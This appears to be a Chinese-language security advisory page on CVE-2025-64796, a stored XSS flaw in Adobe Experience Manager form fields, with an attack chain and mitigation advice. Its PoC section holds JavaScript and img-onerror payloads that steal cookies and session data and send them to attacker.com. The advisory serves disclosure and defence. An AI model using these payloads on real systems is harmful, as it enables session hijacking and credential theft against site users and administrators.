IPBUF安全漏洞报告
English
CVE-2025-64796 CVSS 5.4 中危

CVE-2025-64796 Adobe Experience Manager存储型XSS漏洞

披露日期: 2025-12-10

漏洞信息

漏洞编号
CVE-2025-64796
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Adobe Experience Manager

相关标签

Adobe Experience Manager存储型XSSCVE-2025-64796内容管理漏洞跨站脚本AEM 6.5会话劫持中危漏洞Web应用安全Adobe安全公告

漏洞概述

CVE-2025-64796是Adobe Experience Manager中的一个存储型跨站脚本(XSS)漏洞,CVSS评分5.4,属于中等严重程度。该漏洞影响Adobe Experience Manager 6.5.23及之前所有版本。漏洞允许低权限攻击者在表单字段中注入恶意JavaScript脚本,这些恶意脚本会被永久存储在服务器端。当其他用户(尤其是管理员)浏览包含该恶意字段的页面时,存储的恶意脚本会在其浏览器上下文中执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击或进一步的身份验证绕过。Adobe安全团队(PSIRT)于2025年12月10日披露此漏洞,并建议用户尽快升级到最新版本以修复此安全问题。

技术细节

Adobe Experience Manager(AEM)是一款企业级内容管理解决方案,广泛用于构建网站和应用。该漏洞存在于AEM的表单处理组件中,具体是在用户提交表单数据时,系统未对用户输入进行充分的HTML编码和输入验证。攻击者可以利用低权限账号(如普通内容编辑者)在表单字段中嵌入恶意JavaScript代码,如<script>alert(document.cookie)</script>。由于AEM的组件架构特性,这些恶意数据会被存储在JCR(Java Content Repository)数据库中。当其他用户访问包含该表单字段的内容页面时,AEM在渲染页面时未正确转义已存储的用户输入,导致恶意脚本以应用程序的上下文在受害者浏览器中执行。此攻击利用了AEM的组件复用机制和内容发布流程,攻击者可以通过标准的内容创作工作流即可实施攻击,无需特殊权限或技术突破。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标AEM实例版本,确认版本低于6.5.24以确定存在CVE-2025-64796漏洞
STEP 2
初始访问
攻击者使用低权限账号登录AEM,通常为内容作者或编辑者角色
STEP 3
有效载荷注入
攻击者在表单字段(如文本输入、文本区域、自定义组件)中注入恶意JavaScript代码
STEP 4
存储阶段
AEM将包含恶意脚本的内容保存到JCR内容仓库,此时脚本已被持久化
STEP 5
触发阶段
受害者(普通用户或管理员)访问包含恶意表单字段的页面
STEP 6
代码执行
AEM渲染页面时未正确转义已存储的内容,恶意JavaScript在受害者浏览器中以AEM域上下文执行
STEP 7
数据窃取/会话劫持
攻击者通过恶意脚本窃取Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-64796 PoC: Stored XSS in Adobe Experience Manager Form Fields --> <!-- Attacker with low privileges injects malicious script into form field --> <!-- Step 1: Malicious payload injection --> <script> // Malicious JavaScript to be stored and executed var stolenCookies = document.cookie; var stolenSession = sessionStorage.getItem('cq-session'); // Exfiltrate data to attacker-controlled server fetch('https://attacker.com/steal?data=' + btoa(stolenCookies + '|' + stolenSession), { method: 'GET', mode: 'no-cors' }); // Optional: Session hijacking script // This could be used to impersonate the victim user console.log('XSS Payload Executed - CVE-2025-64796'); </script> <!-- Alternative payload: Image tag with event handler --> <img src=x onerror="fetch('https://attacker.com/log?cookie='+document.cookie)"> <!-- PoC Explanation: --> <!-- 1. Attacker with low privileges creates/edits content containing the form --> <!-- 2. Attacker injects the above JavaScript into a vulnerable form field --> <!-- 3. The malicious script is stored in the AEM JCR repository --> <!-- 4. When other users view the page, the script executes in their browser context --> <!-- 5. Attacker can steal session cookies, tokens, or perform actions as the victim -->

影响范围

Adobe Experience Manager 6.5.23及之前所有版本
Adobe Experience Manager 6.5.x < 6.5.24

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)启用AEM的跨站脚本保护过滤器;2)对表单组件实施严格的输入验证规则;3)限制低权限用户创建自定义表单字段的能力;4)部署WAF(Web应用防火墙)规则检测XSS特征;5)提醒用户不要点击来源不明的链接;6)实施严格的CORS策略;7)考虑暂时禁用非必要的表单功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表